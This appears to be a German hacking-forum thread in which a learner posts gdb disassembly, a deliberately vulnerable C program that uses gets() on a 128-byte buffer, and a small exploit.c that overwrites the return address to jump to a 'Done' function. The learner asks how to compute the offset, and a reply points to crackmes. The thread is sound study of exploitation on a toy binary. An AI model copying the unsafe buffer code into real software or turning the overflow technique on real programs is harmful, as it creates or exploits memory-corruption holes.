Ergebnis 1 bis 3 von 3

Thema: Reservierten Speicher ermitteln

  1. #1
    Registered User
    Registriert seit
    May 2009
    Beiträge
    65
    Renommee
    43

    Reservierten Speicher ermitteln

    Anhand des folgenden Beispiels möchte ich die Grundlagen des Themas
    Buffer-Overflow begreifen lernen:

    Code:
    debian:/home/user/Desktop/exploit_me# gdb main
    (gdb) disas Done
    Dump of assembler code for function Done:
       0x080484e1 <+0>:	push   %ebp
       0x080484e2 <+1>:	mov    %esp,%ebp
       0x080484e4 <+3>:	sub    $0x18,%esp
       0x080484e7 <+6>:	movl   $0x80485d1,(%esp)
       0x080484ee <+13>:	call   0x80483a8 <puts@plt>
       0x080484f3 <+18>:	movl   $0x0,(%esp)
       0x080484fa <+25>:	call   0x80483c8 <exit@plt>
    
    End of assembler dump.
    
    (gdb) Disas BrokenFunction
    Dump of assembler code for function BrokenFunction:
       0x080484ba <+0>:	push   %ebp
       0x080484bb <+1>:	mov    %esp,%ebp
       0x080484bd <+3>:	sub    $0x98,%esp
       0x080484c3 <+9>:	lea    -0x88(%ebp),%eax
       0x080484c9 <+15>:	mov    %eax,(%esp)
       0x080484cc <+18>:	call   0x8048378 <gets@plt>
       0x080484d1 <+23>:	lea    -0x88(%ebp),%eax
       0x080484d7 <+29>:	mov    %eax,(%esp)
       0x080484da <+32>:	call   0x80483b8 <strdup@plt>
       0x080484df <+37>:	leave  
       0x080484e0 <+38>:	ret    
    
    End of assembler dump.
    'BrokenFunction' reserviert einen 128Byte- Char:

    main.c
    Code:
    #include <stdio.h> 
    #include <stdlib.h> 
    #include <string.h> 
    
    void Done(void); 
    const char * const BrokenFunction(void); 
    
    int main() 
    { 
            printf("You wrote: `%s'\n", BrokenFunction());
            return 0; 
    } 
    
    const char * const BrokenFunction(void) 
    { 
            char buf[128]; 
            gets(buf); 
            return strdup(buf); 
    } 
    
    void Done(void) 
    { 
            printf("Got it!\n"); 
            exit(0); 
    }
    Ich gehe von 136 Byte + 4 EBP = 140 Byte aus,
    Code:
    lea    -0x88(%ebp),%eax
    => 28* 5 Byte
    Code:
    for(i = 0; i < 28; i++) 
                    printf("Hallo");
    Die Rücksprungadresse, wie aus dem assembler dump bekannt:
    Code:
    unsigned EIP = 0x080484e1;
    Mit den verwendeten 140 Byte erhalte ich einen => Speicherzugriffsfehler

    Wenn ich statt dessen 132 Byte verwende, wie ich sie bei
    128 Byte (char) + 4 EBP erhielte,
    Referenz:

    Zitat von http://www.online-tutorials.net/secu...-t-27-282.html
    Wieviel Speicher reserviert wurde, das zeigt uns der Assembler Code (lea 0xffffff80(%ebp),%eax).
    erhalte ich mit

    22* 6 Byte = 132 Byte
    Code:
    for(i = 0; i < 22; i++) 
                    printf("Hallo!");
    folgende Situation:

    exploit.c
    Code:
    #include <stdio.h> 
    #include <stdlib.h> 
    #include <string.h> 
    
    int main(int args, char **argv) 
    { 
            int i = 0; 
    
            for(i = 0; i < 22; i++) 
                    printf("Hallo!"); 
    
            unsigned EIP = 0x080484e1; 
            fwrite(&EIP, 1, 4, stdout); 
    
            return 0; 
    }
    Code:
    debian:/home/user/Desktop/exploit_me# gcc exploit.c -o exploit
    debian:/home/user/Desktop/exploit_me# gcc main.c -o main
    /tmp/ccLJ21zy.o: In function `BrokenFunction':
    main.c:(.text+0x39): warning: the `gets' function is dangerous and should not be used.
    debian:/home/user/Desktop/exploit_me# ./exploit | ./main
    You wrote: `Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!��'
    Speicherzugriffsfehler
    Wie ist bei dem obigen Beispiel der Adressraum zu berechnen?

    Eine andere Frage, bleibt die Rücksprungadresse zur 'Done' Funktion
    erhalten, oder muss ich diese jedes mal neu bestimmen, bzw welche
    Ereignisse würden diese verändern?

    In einem anderen Post[1] auf dem Board habe ich Anhaltspunkte gefunden,
    jedoch finde ich nicht die passende Paralelle dazu.

    [1] http://www.buha.info/board/showthrea...zugriffsfehler

  2. #2
    Registered User
    Registriert seit
    Sep 2009
    Beiträge
    193
    Renommee
    55

    Re: Reservierten Speicher ermitteln

    hi,
    wenn du Buffer Overflow kennen lernen willst, nehme ich ein fach mal an.
    Dann folge mein Beipiel:

    int a[100];
    a[0] = 10;

    Dann frage mal a[101] und größer ab.Du wirst merken, dass du werte z.b. die 10 wiederfindest.

    Schaue mal crackme 1- 100 an und probiere die Zeilen in Asm im Debugger zuverstehen.Dann wird alles klarer.

  3. #3
    Registered User
    Registriert seit
    May 2009
    Beiträge
    65
    Renommee
    43

    Re: Reservierten Speicher ermitteln

    danke dir, ich werde mich in die crackme's einarbeiten.

Aktive Benutzer

Aktive Benutzer

Aktive Benutzer in diesem Thema: 1 (Registrierte Benutzer: 0, Gäste: 1)

Ähnliche Themen

  1. Passwortstärke ermitteln
    Von PhilippN im Forum PHP, Perl und ASP
    Antworten: 8
    Letzter Beitrag: 20.02.2006, 22:51
  2. in VB das Betriebssystem ermitteln
    Von Marfir im Forum VisualBasic / VBScript
    Antworten: 1
    Letzter Beitrag: 30.11.2005, 08:31
  3. CGI dir vom IIS ermitteln
    Von BKA im Forum Pascal / Delphi
    Antworten: 1
    Letzter Beitrag: 04.10.2001, 23:26
  4. CGI dir vom IIS ermitteln
    Von BKA im Forum PHP, Perl und ASP
    Antworten: 1
    Letzter Beitrag: 04.10.2001, 23:26
  5. Win/System Dir ermitteln
    Von BKA im Forum PHP, Perl und ASP
    Antworten: 1
    Letzter Beitrag: 18.03.2001, 20:28

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •